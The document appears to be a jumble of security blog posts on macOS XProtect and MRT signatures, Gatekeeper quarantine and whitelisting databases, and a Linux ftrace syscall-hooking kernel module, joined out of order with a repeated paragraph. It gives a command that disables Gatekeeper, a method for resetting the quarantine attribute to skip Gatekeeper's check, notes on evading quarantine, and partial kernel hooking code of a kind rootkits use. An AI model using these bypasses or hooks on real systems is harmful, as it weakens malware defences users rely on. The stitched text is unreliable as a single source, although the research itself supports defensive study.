			<key>LSItemContentType</key>
			<string>com.apple.application-bundle</string>
		</dict>
		<key>Matches</key>
		<array>
			<dict>
				<key>MatchFile</key>
				<dict>
					<key>NSURLTypeIdentifierKey</key>
					<string>public.unix-executable</string>
				</dict>
				<key>MatchType</key>
				<string>Match</string>
				<key>Pattern</key>
				<string>636F756C646E2774206F70656E2074686520646200</string>
			</dict>
			<dict>
				<key>MatchFile</key>
				<dict>
					<key>NSURLTypeIdentifierKey</key>
					<string>public.unix-executable</string>
				</dict>
				<key>MatchType</key>
				<string>Match</string>
				<key>Pattern</key>
				<string>25402F46495245464F585F25402E7A697000</string>
			</dict>
			<dict>
				<key>MatchFile</key>
				<dict>
					<key>NSURLTypeIdentifierKey</key>
					<string>com.apple.applescript.script</string>
				</dict>
				<key>MatchType</key>
				<string>Match</string>
				<key>Pattern</key>
				<string>46617364554153</string>
			</dict>
			
			</dict>
		</array>
	</dict>

There are total 94 signature currently. Let's go through each key to understand the usage clearly:

Description: This key holds the malware name. Most signatures are for infamous threats in MacOS like Bundlore, Aceinstaller, CoinMiner etc.

LauchServices: This key defines on what URI type the following signature should trigger.

A typical launchservices key looks like this:

<key>LaunchServices</key>
		<dict>
			<key>LSItemContentType</key>
			<string>com.apple.application-bundle</string>
		</dict>

LSItemContentType set to the value in content type seen by launchservice that should trigger the signature. Current signatures have the following LSItemContentType:

• com.apple.application-bundle
• com.microsoft.word.doc
• com.apple.installer-package
• public.data
• com.apple.installer-meta-package
• com.sun.java-archive

Matches: This key value holds an array of dictionary items, which has the  detection signature pattern. This key looks like this in general:

<key>Matches</key>
		<array>
			<dict>
				<key>MatchFile</key>
				<dict>
					<key>NSURLTypeIdentifierKey</key>
					<string>public.unix-executable</string>
					<key>NSURLFileSizeKey</key>
					<integer>110000</integer>
					<key>NSURLNameKey</key>
					<string>iCnat</string>
				</dict>
				<key>MatchType</key>
				<string>Match</string>
				<key>Identity</key>
				<data>iob/gI0JDUACAaH5TY9wap2hFso=</data>
			</dict>
            <dict>
				<key>MatchFile</key>
				<dict>
					<key>NSURLNameKey</key>
					<string>Codec-M.tar</string>
					<key>NSURLTypeIdentifierKey</key>
					<string>public.tar-archive</string>
				</dict>
				<key>MatchType</key>
				<string>Match</string>
				<key>Pattern</key>
				<string>636F6D2E7768697465736D6F6B652E</string>
			</dict>
		</array>

Each dictionary holds a signature for a single file with filetype defined by NSURLTypeIdentifierKey. Current signatures have following filetypes present:

• public.unix-executable
• com.apple.applescript.script
• public.data
• com.apple.mach-o-dylib
• {dyn.*}
• com.apple.application-file
• com.sun.java-archive
• com.apple.installer-package-archive
• public.zip-archive
• com.microsoft.word.doc
• public.tar-archive

You can see that XProtect is capable of blocking malicious content in form of quite a lot of file types. This also proofs that LaunchService is involved with all type of file open activity in MacOS whether it's executable/bundle or word document or any compressed file format.

Another subkey in this dictionary is NSURLNameKey which holds the name of the file in case NSURLTypeIdentifierKey is not present. The detection doesn't depend on this key( i.e you will see trigger from XProtect even if the filename is different).

The detection pattern is present in either of the following two keys:

Pattern: holds the hex bytes with * as separator.

Identity: hold the base64 value of the sha-1 hash.

When you try to open a document or an application having signature in XProtect.plist, you will receive an alert message like this:

XProtect.meta.plist

This plist file is used to block malicious safari extension and other outdated application plugins.

Safari Extension blocking: When you download a Safari extensions, it added a application bundle in /Applications. This bundle contains plugin with .appex extension which later move to /User/Username/Library/Safari/Extensions. Like other application bundle, these applications also hold CFBundleIdentifier and Developer id. The detection is based on that.

			<dict>
				<key>CFBundleIdentifier</key>
				<string>com.searchnt.safari</string>
				<key>Developer Identifier</key>
				<string>6ERPEMNB65</string>
			</dict>
			<dict>
				<key>CFBundleIdentifier</key>
				<string>com.shelfsick.safari</string>
				<key>Developer Identifier</key>
				<string>33HGJH7H8P</string>
			</dict>
			<dict>
				<key>CFBundleIdentifier</key>
				<string>com.searchnt.safari</string>
				<key>Developer Identifier</key>
				<string>LUZSN84HYP</string>
			</dict>
			<dict>
				<key>CFBundleIdentifier</key>
				<string>com.searchtrust.safariext</string>
				<key>Developer Identifier</key>
				<string>9V6HEQPZK3</string>
			</dict>
            ...
            ...

Note: During my research, I found that XProtect will only block the extension when they are executed by double click. If the main macho is executed from command line, then there is no alert for such case.

This plist also blocks other plugin with outdated version:

<key>com.apple.java.JavaAppletPlugin</key>
			<dict>
				<key>MinimumPlugInBundleVersion</key>
				<string>14.8.0</string>
				<key>PlugInUpdateAvailable</key>
				<true/>
			</dict>
			<key>com.apple.java.JavaPlugin2_NPAPI</key>
			<dict>
				<key>MinimumPlugInBundleVersion</key>
				<string>14.8.0</string>
				<key>PlugInUpdateAvailable</key>
				<true/>
			</dict>
			<key>com.macromedia.Flash Player ESR.plugin</key>
			<dict>
				<key>MinimumPlugInBundleVersion</key>
				<string>18.0.0.382</string>
				<key>PlugInUpdateAvailable</key>
				<true/>
			</dict>
			<key>com.macromedia.Flash Player.plugin</key>
			<dict>
				<key>MinimumPlugInBundleVersion</key>
				<string>32.0.0.101</string>
				<key>PlugInUpdateAvailable</key>
				<true/>
			</dict>
			<key>com.microsoft.SilverlightPlugin</key>
			<dict>
				<key>MinimumPlugInBundleVersion</key>
				<string>5.1.41212.0</string>
				<key>PlugInUpdateAvailable</key>
				<true/>
			</dict>
            ...
            ...

LegacyEntitlementAllowlist.plist

This is the last file we are covering for XProtect bundle. This plist contains a very long array of cdhashes which are encoded.

<key>cdhashes</key>
        <array>
                <data>
                AAFd7LJtQHNzgvxZ5kOMf5kNDVo=
                </data>
                <data>
                AAQCJMThA3BGcNrYDj3cGpx+i3U=
                </data>
                <data>
                AAQYbKSnpJxvCtTZc7cRC9Jo+bQ=
                </data>
                <data>
                AAUzQNGkVn8nJMreEIqz4P0lahI=
                </data>
                <data>
                AAxqo7k51G/ak+Xg9hNNo61LqVI=
                </data>
                <data>
                ABBEGu7ZCbgrt3IAqg7k15zBR1Q=
                </data>
                <data>
                ABDXjTxbm1MVYk88ANcOTl7j8Qc=
                </data>
                ...
                ...

It is difficult to conclude any information about this plist. But It's my assumption that this is a whitelist for macho executable that requires outdated entitlements to function properly.

That's all about XProtect. In conclusion, XProtect holds a good amount of static signatures, but not as much as an Antivirus solution generally have. Besides that, a major limitation of xprotect is it only checks for malicious content during open phase of a document, specially when LaunchServices is involved. It's not much difficult to find a way to bypass the role of LaunchServices in file opening.

Malware Removal Tool (MRT)

As mentioned above, XProtect only scan for malicious content while the execution or opening of file. To make MacOS default security more robust, apple has included a tool called MRT for scanning file present in disk time to time to look for malicious content. From all Apple's documentation:

Malware Removal Tool (MRT) is an engine in macOS that remediates infections based on updates automatically delivered from Apple (as part of automatic updates of system data files and security updates). MRT removes malware upon receiving updated information and it continues to check for infections on restart and login.

The application bundle for MRT is located at /System/Volumes/Data/Library/Apple/System/Library/CoreServices/MRT.app on latest MacOS. MRT.app has two executables in MacOS directory MRT and mrt-helper.  MRT is a giant 3MB of  executable that holds all the important detection logics. mrt-helper is a small helper program contains few functions required by MRT. All of the MRT code is closed sourced. The only way to understand MRT working is through reverse engineering.

As mentioned above, MRT executed every time you login or restart your system. MRT runs in two mode - agent and daemon. It can also be spawned from command line:

When starting as agent, MRT send xpc request to MRT daemon and the MRT daemon scan the filesystem for the malicious indicators and resolve it, then send the status to agent using notifyd. Later, agent logs the details received from Daemon or stdout on terminal.

Initial triage on MRT gives me indications that it is a static scanner that runs on login/reboot. But after reversing the MRT code, I found it to be impressively powerful tool that has detection not only just based on pattern but different filesystem indicator to find malicious activity. Moreover it not just notify user but also remidiate the infection to put your machine on safe state.

All the malicious indicators are checked one by one over the filesystem. These all reside in a single function.

Currently, MRT have detection for almost 90 malware. Each Malware family signatures and detection are different.  Some are generic static pattern based detection.

Some are based on presence of certains files/directories in filesystem.

Once daemon find these indicators file or main malicious file, It deletes those as a step for remediation. As a small activity, let's try to look through MRT working in action.

Following are the indicator MRT looks for in case it's scanning your system for OSX.ATG2 threat.

• Presence of  ~/Library/LaunchAgents/com.apple.updater.plist
• Presence of  /Users/Shared/dufh
• Presence of  ~/Library/LaunchAgents/com.apple.updates.plist
• Presence of  /Users/Shared/.local/kextd

Let's create these files on a test machine and start the MRT in agent mode.

From the above output, it is clear that MRT is performing two important actions here. First, putting your system in safe state by unloading any malicious tasks. And delete the indicators as part of remediation.

Conclusion

XProtect is a good malware protection solution for MacOS that will definitely protect the macos environment against common threats present in the wild. But a major limitation with the XProtect is its limited coverage and less frequent updates. It has detection for major malware families affecting OSX architecture, but far away from covering emerging threats. On top of XProtect, MRT is a game changing addition of Mac security but need more wider coverage to solely rely on.Initial triage on MRT gives me indications that it is a static scanner that runs on login/reboot. But after reversing the MRT code, I found it to be an impressively powerful tool that has detection not only just based on pattern but different filesystem indicator to find malicious activity. Moreover, it not just notify user but also remediate the infection.

With increase in number of malware affecting MacOS in last decades, Apple has introduced multiple Application security protection features to safeguard users from malicious contents. Like everything else Apple does, they did good amount of advertisement of these security protections exclusively to their costumers.

But MacOS been a mostly closed source operating system, it's tough to know what and how they are protecting. And most important, is it worth to solely rely on?

To answer these questions, I decided to dig more into all types of default application security features present in MacOS.

Gatekeeper

Gatekeeper is the major security feature present in MacOS introduced in OS X Leopard back in 2012. Most of the gatekeeper implementation code resides in syspolicyd  which is located in /usr/libexec/ and few part in Quarantine.kext. syspolicyd also responsible for handling other macos components like kext loading and execmanager.

In a nutshell, gatekeeper's job is to verify and validate an application bundle or an executable based on different criteria before it start as a process, so that only trusted software runs on Mac. The major features that gatekeeper holds are the following:

• Quarantine check
• Whitelisting and Blacklisting policies validation
• Code signing and developer id verification
• Notarization check

A user can interact with gatekeeper using spctl command. For example, one can disable gatekeeper using the following command.

$sudo spctl --master-disable

or to evaluate if something will pass gatekeeper checks or not

$spctl -a -t exec -vvv Myapp.app

Quarantine Check

If you download an application from the internet and try to open it, you must going to see following dialog:

This is quarantine check in action. To know more about quarantine check, we first need to understand extended attributes:

Extended attributes:

Extended attributes are arbitrary metadata of a file, stored separately from the basic filesystem attributes. These attributes are introduced in unix systems and now available in almost all *nix operating systems. You can check all extended attributes set to a file using xattr command in MacOS.

xattr mypdf.pdf

You can see the data associated with any extended attribute using following command

xattr -p com.apple.myxattr mypdf.pdf

You can also add your own extended attributes:

xattr -w com.apple.myxattr "This is the data of my xattribute" mypdf.pdf

Quarantine attribute:

For gatekeeper, apple has introduced quarantine extended attribute named com.apple.quarantine  which get set on any file downloaded from internet. This attribute will be set by the agent application (like chrome or firefox) when you download any file using them.

If you check the data of quarantine attribute, you will see structure something like below:

$ xattr -p com.apple.quarantine mypdf.pdf
0081;6138fdb6;Firefox;78B4F60F-4838-431E-8A72-6C666B15E5A6

The format of the data is the following:

flag;date;agent_name;UUID;

Flag value 0081 states that the application/file is executing for the first time. This attribute is responsible for the warning that appears when you first try to open an application, saying that the application is downloaded from the internet.

Once you open a file with quarantine flag set, gatekeeper stores the quarantine related metadata associated with the file in Quarantine database present at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2.

Understanding the quarantine database structure

Quarantine database com.apple.LaunchServices.QuarantineEventsV2 is present in User's home directory, hence can be modified easily. It's Launch Services's responsibility to manage this database. Once you open a file by double clicking it, if launch services find the file having quarantine attribute present, it adds the entry of that in Quarantine database. The database is SQLite db with only one table named LSQuarantineEvent.

There are multiple columns in the table with the following usage:

1. LSQuarantineEventIdentifier – Unique Id for the record
2. LSQuarantineTimeStamp – The time (in seconds since 1/1/2001 12am)
3. LSQuarantineAgentBundleIdentifier – the downloading application bundle name
4. LSQuarantineAgentName – The application name
5. LSQuarantineDataURLString – The URL the file was downloaded from
6. LSQuarantineSenderName – The name of the person who sent you the email from which you downloaded the attachment
7. LSQuarantineSenderAddress – The email of the person who sent you the email from which you downloaded the attachment
8. LSQuarantineTypeNumber – Enum identifying the type of application that downloaded the file. The value is one of the following:
   • kLSQuarantineTypeWebDownload=0 – if the URL scheme was http(s) the download will be set to this, otherwise to 1.
   • kLSQuarantineTypeOtherDownload=1 – anything that wasn’t identified.
   • kLSQuarantineTypeEmailAttachment=2 – supposedly an email attachement (I wasn’t able to reproduce this)
   • kLSQuarantineTypeInstantMessageAttachment=3 – supposedly a download from instant messaging app
   • kLSQuarantineTypeCalendarEventAttachment=4 – an ical file via email?
   • kLSQuarantineTypeOtherAttachment=5
9. LSQuarantineOriginTitle – No info, and seemed to be always empty.
10. LSQuarantineOriginURLString – “The URL of the resource originally hosting the quarantined item, from the user’s point of view. For web downloads, this property is the URL of the web page on which the user initiated the download. For attachments, this property is the URL of the resource to which the quarantined item was attached (e.g. the email message, calendar event, etc.). The origin URL may be a file URL for local resources, or a custom URL to which the quarantining application will respond when asked to open it. The quarantining application should respond by displaying the resource to the user. Note: The origin URL should not be set to the data URL, or the quarantining application may start downloading the file again if the user choses to view the origin URL while resolving a quarantine warning.”
11. LSQuarantineOriginAlias – No info, and seemed to be always empty in my log.

The database contain good amount of user's activity that can be serious privacy issue if the computer was indeed exposed to any spyware/malware. It has already seen to be exfiltrate by Bundlore/Shlayer in the past.  Moreover, even if you disable gatekeeper or try to create exclusion for certain application, the database is still maintained by MacOS for certain applications. This is because MacOS manages another exclusion list which force application to use LSFileQuarantineEnabled. This  list is present at /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/Exceptions.plist.

Limitations of Quarantine Check

• 1) Since Quarantine check rely on extended attribute and extended attribute stores in file system. There are certain file systems that don't support extended attribute like following locations:

–        USB flash drive
–        Optical disk
–        External hard drive
–        Network shared drives(smb and nfs)

Hence, on these file systems, quarantine check doesn't work if an application is executed from above fs or symlinked to these locations. There are  multiple CVE's associated with this, like CVE-2019-8656. Although in recent versions, Apple fixed this issue by blocking the execution of the application from a remote shared location.

• 2) Another common issue with quarantine check is, the quarantine attribute need to be set by agent application. If the agent application doesn't set this attribute, then there is no way to find if the file is downloaded from internet. One such application that doesn't set the quarantine attribute is curl. Due to this most malware in MacOS use curl or wget to download their payload.
• 3) You will also find that gatekeeper doesn't verify quarantine attribute presence for certain file extensions that can be used for code execution. A few of such extensions are .inetloc or .fileloc. There are certain vulnerabilities related to this in the past. One of them is https://ssd-disclosure.com/ssd-advisory-macos-finder-rce/
• 4) One minor limitation of extended attribute is in copying file. By default, copying a file copies the extended attributes too, but if the extended attribute is corrupted than copyfile operation skip setting the attribute to new target file. If a malicious actor can find a way to send a corrupted quarantine attribute through any compressed format that keeps extended attributes. Extracting it can skip the setting of quarantine attribute to target files. Unluckily, this doesn't work with .dmg, but you can explore other methods.

Whitelisting Policy

Apple uses multiple databases for whitelisting trusted application based on certain checks for gatekeeper. In below section, we will be talking about those databases.

SystemPolicy Database

To understand the usage of SystemPolicy database, let's go through a scenario.

• Download a macho executable from internet.
• Save the quarantine attribute data for that file somewhere using xattr -p com.apple.quarantine myfile > attr.data
• Execute the macho and allow the gatekeeper check.
• You  will see that the quarantine attribute data has been modified.
• Reset the quarantine attribute value to previous state using following command xattr -w com.apple.quarantine "`cat attr.data`" myfile.
• Now execute the macho again.

You will notice that this time application executed without the gatekeeper alert. This has the same implication as the case where you right-click and open the application to bypass gatekeeper check for that specific application. Both of the cases register an exception for the executable/bundle for gatekeeper into SystemPolicy database present at /var/db/SystemPolicy.

SystemPolicy db is used to store the details about the executables which has gone through gatekeeper check for the first time and user has allowed the execution. In other words, it is a primary exception or whitelisted application list for gatekeeper. One can add/update entry in SystemPolicy db in multiple ways:

• Allowing opening of application from UI alert.
• Right click -> Open the application/executable.
• Using spctl. spctl --add /Path/To/Application.app

Behind the scene, these entries call SecAssessmentCopyUpdate to update /var/db/SystemPolicy database.

SystemPolicy db format

SystemPolicy database has multiple tables. We will go through each one by one.

The primary table in the database is authority.

Apple describe each entries as a Rule. Each column has following meaning:

1. Id:Canonical ID
2. version: version of the Rule. Will always set to 1
3. type: Operation type. These are operations the system policy can express opinions on. These can be one of these:
   • 1 - kSecAssessmentOperationTypeExecute - Set on Code execution from standalone macho
   • 2 - kSecAssessmentOperationTypeInstall - Sets on Bundle installation.
   • 3 - kSecAssessmentOperationTypeOpenDocument - Sets on opening of document(application spawned by another app) using launchservice.
4. requirement - code requirement - Stores the cdhash on main macho file.
5. allow - If the gke exception is allowed. Always be 1(since then only the rule is added in this db)
6. disabled - If following rule entry is disabled.
7. expires - Expiration of rule. Julian date format. Will be always 5000000(June 7, 8977).
8. label - An optional text labeling the rule. Mostly set to GKE or null.
9. filter_unsigned - Will contain hash of Info.plist file from the bundle. If bundle is not signed, this value is used to verify the bundle. Can have value in multiple format:
   • "R" + hash - used for sha1 hash of Info.plist
   • "I" + hash - used for md5 hash
   • "M" + hash - used for md5 hash
   • N - set for rule type 1(direct macho execution)
10. Flags: A mask of flag bits passed to SecAssessment calls to influence their operation.Can have following values:
    • SecAssessmentDefaultFlags = 0, // default behavior
    • kSecAssessmentFlagDirect = 1 << 30, // in-process evaluation
    • kSecAssessmentFlagAsynchronous = 1 << 29, // request asynchronous operation
    • kSecAssessmentFlagIgnoreCache = 1 << 28, // do not search cache
    • kSecAssessmentFlagNoCache = 1 << 27, // do not populate cache
    • kSecAssessmentFlagEnforce = 1 << 26, // force on (disable bypass switches)
    • kSecAssessmentFlagAllowWeak = 1 << 25, // allow weak signatures
    • kSecAssessmentFlagIgnoreWhitelist = 1 << 24, // do not search weak signature whitelist
    • // 1 << 23 removed (was kSecAssessmentFlagDequarantine)
    • kSecAssessmentFlagIgnoreActiveAssessments = 1 << 22, // permit parallel re-assessment of the same target
    • kSecAssessmentFlagLowPriority = 1 << 21, // run the assessment in low priority
11. ctime - rule creation time (Julian)
12. mtime - time rule was last changed (Julian)
13. user - user requesting this rule (NULL if unknown). Looks like mac developers are too lazy to set this since you will find the value NULL in all entries.
14. remarks - optional remarks string. Set to either (gke) or path of bundle/executable in case of unsigned code.

Remark: If the main executable of a bundle is script rather than macho. There will be no update in SystemPolicy since cdhash will not present in that case.

Few other tables of SystemPolicy db:

active_authority - Subset of authority. Contains rules that are presently active(Disable = 0).

scan_authority - Subset of authority. Contains rules subject to priority scan: active_authority but including disabled rules.

bookmarkhints - A table to carry (potentially large-ish) filesystem data stored as a bookmark blob.

features - Features present/used in that database and if they can be upgraded.

object - The cache table lists previously determined outcomes for individual objects (by object hash). Entries come from full evaluations of authority records, or by explicitly inserting override rules that preempt the normal authority.

object_state - Some useful view of object.

Gatekeeper's bundle

Gatekeeper keeps two loadable bundles inside /var/db which is mostly used for predefined whitelisting purpose. The bundles are with following name gke.bundle and gkopaque.bundle. Let take a look at what they used for.

gke.bundle

First we will check gke.bundle. Since its loadable bundle, it only has two Resource file that are important. gke.auth and gk.db.

gke.auth is a plist file. In the words of Apple's developer, it contains weak signature whitelist. After looking in source code of policydb.cpp and policyengine.cpp I found the list is some kind of whitelist of application that are not signed but need to be trusted. It is used for successfully created temporary signature (kind of adhoc signing) some application to execute. Once you start an application, if syspolicyd found the application to be completely unsigned, it checks this plist to temporary set signature for the bundle if application is listed here. The plist has one key named authority which has different subkey and their value as dictionary. This is how a single key looks like

<key>00426538-36a2-42e6-8b2f-641385980298</key>
  <dict>
    <key>cdhash</key>                    <string>cf2488248efe976413a5ac489d60cc6b1ba00c5d</string>
    <key>path</key>
    <string>(gke)</string>
    <key>screen</key>                    <string>I4057d28ea08f639c4ec81778d327db4bf37d1cb6</string>
    <key>type</key>
    <string>2</string>
    <key>version</key>
    <integer>2</integer>
  </dict>

• 00426538-36a2-42e6-8b2f-641385980298 - id for that entrie/rule.
• cdhash - cdhash of the main macho file.
• path - probably implies the method through which the whitelist will be applicable. always set to "(gke)".
• screen - hash of Info.plist from bundle. Can have any of the following format.

"I" + sha-1 - Old method
"R" + sha-256 - New default
"N" - In case of standalone macho (no practicle entry)
"M" + sha-1 - In case of anything else (no practicle entry)

• type - It's unclear if this field is similar to 'type' field in SystemPolicy.db. Mostly value set to 1 or 2 in case of screen is sha-1 hash and 3 in case screen is sha-256.
• version - Rule version(optional). Value lies from 1 to 3.

There are more than 2000 entries in gke.auth. Most of the applications whitelisted here are Intel x86 unsigned bundles(any type like .app or .kext) from trusted vendors like vmware, eclipse etc. Surprisingly, while looking for those Info.plist hashes on VirusTotal I found some entries to be flagged as malicious by multiple vendors.

gk.db is another sqlite db present on gke.bundle. It contains one main table named timestamp_exceptions which contain cdhashes in a weird(decimal bytes with comma) format.

There is no information available about the usage of this db in macos's available source code. But I guess this is another type of whitelisting for standalone macho files.

gkopaque.bundle

It is another loadable bundle which contain only one important file, gkopaque.bundle/Contents/Resources/gkopaque.db. It has been said that this bundle is used for whitelisting application before gke.bundle since later one is added on quite recent macos version.

gkopaque.db is the SQLite db file present in gkopaque bundle. It uses for whitelisting application/executables before gke.bundle was introduced, but macos still uses it in some way. The database file has 3 tables:

Primary table name is "whitelist". whitelist contain 2 columns:

both column contain cdhashes of executable that needed to be whitelist. The usage of these column is mentioned in following funtion in opaquewhitelist.cpp.  

//
// Check if a code object is whitelisted
//
bool OpaqueWhitelist::contains(SecStaticCodeRef codeRef, SecAssessmentFeedback feedback, OSStatus reason)
{
	// make our own copy of the code object, so we can poke at it without disturbing the original
	SecPointer<SecStaticCode> code = new SecStaticCode(SecStaticCode::requiredStatic(codeRef)->diskRep());

	CFCopyRef<CFDataRef> current = code->cdHash();	// current cdhash
	CFDataRef opaque = NULL;	// holds computed opaque cdhash
	bool match = false; 	// holds final result

	if (!current)
		return false;	// unsigned

	// collect auxiliary information for trace
	CFRef<CFDictionaryRef> info;
	std::string team = "";
	CFStringRef cfVersion = NULL, cfShortVersion = NULL, cfExecutable = NULL;
	...
    ...

	// compute and attach opaque signature
	attachOpaque(code->handle(false), feedback);
	opaque = code->cdHash();

	// lookup current cdhash in whitelist
	if (opaque) {
		SQLite::Statement lookup(*this, "SELECT opaque FROM whitelist WHERE current=:current"
			" AND opaque != 'disable override'");
		lookup.bind(":current") = current.get();
		while (lookup.nextRow()) {
			CFRef<CFDataRef> expected = lookup[0].data();
			if (CFEqual(opaque, expected)) {
				match = true;	// actual opaque cdhash matches expected
				break;
			}
		}
	}
    ...
    ...

Code above gives an idea that the cdhash of the target executable is compared with an opaque list, and if the hashes match than the cdhash get whitelisted. It is still unclear why the MAC developers are using both the list and why there are multiple entries for one cdhash in the current list. Aside from that, it is mentioned by someone on a twitter thread that MacOS version 10.9.4 contain an agent that uploads these cdhashes to apple server. So, from there they have developed this whitelist.

Another table in this database is named conditions which contain only two entries. Both are to whitelist google chrome applications.

Conclusion

Although gatekeeper is a prevalent security feature for MacOS, but time to time there are multiple CVE's arises which shows the implementation requires lots of fixes to make it more robust. CVE's like CVE-2021-30657 and CVE-2021-30853 shown it's not complicated to find a way to bypass gatekeeper.

In the next part, we will be discussing xprotect and notarization. Stay tuned.

If you ever tought about hooking system calls in linux from userspace or kernel space, the most common methods you must have heard are:

1) By inject a library using LD_PRELOAD(user mode).

2) Modifying Syscall table(kernel mode).

But both methods have their limitations. The first mutual limitation is, both are most known/expected techniques used by attackers, so they are the first thing an AV product or researcher checks. For LD_PRELOAD other limitation is it's per process based (ignoring /etc/ld.so.preload since its very easily detectable and visible). Whereas, for syscall table modification, the biggest issue is that the table is read only since kernel version 2.6.16 (although that can be bypassed by changing CR0.WP, but it's an extra work and an AV detection will trigger on such sequence of code.)

A better approach which we are discussing here for syscall hooking is using ftrace. It is relatively less known and more robust method since the ftrace functionality preexist in all linux kernel above 2.6.27. So, the kernel provides full support for your operations.

Basics of Ftrace

Ftrace is an internal tracer designed to help out developers and designers of systems to find what is going on inside the kernel.The ftrace infrastructure was originally created to attach callbacks to the beginning of functions in order to record and trace the flow of the kernel. But these callbacks can also be used for hooking/live patching or monitoring the function calls.

Ftrace can be used to trace kernel functions call from another kernel module or can be interacted from userspace using tracefs file system and trace-cmd tool. To monitor system calls, we will be creating a kernel module and using ftrace functionalities inside it. To learn better how to hook a system call using ftrace, we will be creating a small fun project.

Making a file Immutable using system call hooking

Before getting into coding part, we need to understand the implementation that we have to follow to make a file non-writable/immutable. As a first thought it must come in your mind that we need to hook the sys_write syscall and if write operation is occurred in our target file then block it. But that method is partially complete. If you check the format of sys_write call:

long sys_write(unsigned int fd, const char __user *buf,
			  size_t count);

You will notice that we don't pass the filename as funtion argument, rather the call relies on file descriptor (1st arg) to identify which file to write on. You must have guessed it by now that we also need to hook sys_open along with sys_write to get the filename. In modern linux systems sys_open has been deprecated and replaced by sys_openat. So, we need to hook that rather than sys_open:

long sys_openat(int dfd, const char __user *filename, int flags,
			   umode_t mode);

Once we hook both calls, In sys_openat if we see the target filename then we need to store the process id and file descriptor of the calling process. PID is required since the file descriptors value can be similar between different process as the fd field is not global but process specific data. On every sys_write, we need to check if the write is done by our calling process and fd is similar or not. If it matches with our store data then we can block it. So, let's start understanding the ftrace usage and write the code in parallel.

Ftrace code can be called by importing ftrace.h.

#include <linux/ftrace.h>

To register a function callback, a ftrace_ops is required. This structure is used to tell ftrace what function should be called as the callback as well as what protections the callback will perform and not require ftrace to handle.

struct ftrace_ops ops = {
      .func                    = my_callback_func,
      .flags                   = MY_FTRACE_FLAGS
      .private                 = any_private_data_structure,
};

From this we only need to set .func, others are optional.

To enable and disable tracing, following calls can be used:

register_ftrace_function(&ops);

unregister_ftrace_function(&ops);

The callback function ops->func can be defined in the following format:

void callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct pt_regs *regs);

@ip This is the instruction pointer of the function that is being traced. (where the fentry or mcount is within the function)
@parent_ip This is the instruction pointer of the function that called the the function being traced (where the call of the function occurred).
@op This is a pointer to ftrace_ops that was used to register the callback. This can be used to pass data to the callback via the private pointer.
@regs If the FTRACE_OPS_FL_SAVE_REGS or FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED flags are set in the ftrace_ops structure, then this will be pointing to the pt_regs structure like it would be if an breakpoint was placed at the start of the function where ftrace was tracing. Otherwise it either contains garbage, or NULL.

If a callback is only to be called from specific functions, a filter must be set up. The filters are added by name, or ip if it is known.

int ftrace_set_filter(struct ftrace_ops *ops, unsigned char *buf,
                      int len, int reset);

Filters denote which functions should be enabled when tracing is enabled. If buf is NULL and reset is set, all functions will be enabled for tracing.

Using the above pieces of information, let's try to write the hook:

unsigned int target_fd = 0;
unsigned int target_pid = 0;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
static unsigned long lookup_name(const char *name)
{
	struct kprobe kp = {
		.symbol_name = name
	};
	unsigned long retval;

	if (register_kprobe(&kp) < 0) return 0;
	retval = (unsigned long) kp.addr;
	unregister_kprobe(&kp);
	return retval;
}
#else
static unsigned long lookup_name(const char *name)
{
	return kallsyms_lookup_name(name);
}
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(5,11,0)
#define FTRACE_OPS_FL_RECURSION FTRACE_OPS_FL_RECURSION_SAFE
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(5,11,0)
#define ftrace_regs pt_regs

static __always_inline struct pt_regs *ftrace_get_regs(struct ftrace_regs *fregs)
{
	return fregs;
}
#endif

/*
 * There are two ways of preventing vicious recursive loops when hooking:
 * - detect recusion using function return address (USE_FENTRY_OFFSET = 0)
 * - avoid recusion by jumping over the ftrace call (USE_FENTRY_OFFSET = 1)
 */
#define USE_FENTRY_OFFSET 0

/**
 * struct ftrace_hook - describes a single hook to install
 *
 * @name:     name of the function to hook
 *
 * @function: pointer to the function to execute instead
 *
 * @original: pointer to the location where to save a pointer
 *            to the original function
 *
 * @address:  kernel address of the function entry
 *
 * @ops:      ftrace_ops state for this function hook
 *
 * The user should fill in only &name, &hook, &orig fields.
 * Other fields are considered implementation details.
 */
struct ftrace_hook {
	const char *name;
	void *function;
	void *original;

	unsigned long address;
	struct ftrace_ops ops;
};

static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
	hook->address = lookup_name(hook->name);

	if (!hook->address) {
		pr_debug("unresolved symbol: %s\n", hook->name);
		return -ENOENT;
	}

#if USE_FENTRY_OFFSET
	*((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE;
#else
	*((unsigned long*) hook->original) = hook->address;
#endif

	return 0;
}

static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip,
		struct ftrace_ops *ops, struct ftrace_regs *fregs)
{
	struct pt_regs *regs = ftrace_get_regs(fregs);
	struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);

#if USE_FENTRY_OFFSET
	regs->ip = (unsigned long)hook->function;
#else
	if (!within_module(parent_ip, THIS_MODULE))
		regs->ip = (unsigned long)hook->function;
#endif
}

/**
 * fh_install_hooks() - register and enable a single hook
 * @hook: a hook to install
 *
 * Returns: zero on success, negative error code otherwise.
 */
int fh_install_hook(struct ftrace_hook *hook)
{
	int err;

	err = fh_resolve_hook_address(hook);
	if (err)
		return err;

	/*
	 * We're going to modify %rip register so we'll need IPMODIFY flag
	 * and SAVE_REGS as its prerequisite. ftrace's anti-recursion guard
	 * is useless if we change %rip so disable it with RECURSION.
	 * We'll perform our own checks for trace function reentry.
	 */
	hook->ops.func = fh_ftrace_thunk;
	hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
	                | FTRACE_OPS_FL_RECURSION
	                | FTRACE_OPS_FL_IPMODIFY;

	err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
	if (err) {
		pr_debug("ftrace_set_filter_ip() failed: %d\n", err);
		return err;
	}

	err = register_ftrace_function(&hook->ops);
	if (err) {
		pr_debug("register_ftrace_function() failed: %d\n", err);
		ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
		return err;
	}

	return 0;
}

/**
 * fh_remove_hooks() - disable and unregister a single hook
 * @hook: a hook to remove
 */
void fh_remove_hook(struct ftrace_hook *hook)
{
	int err;

	err = unregister_ftrace_function(&hook->ops);
	if (err) {
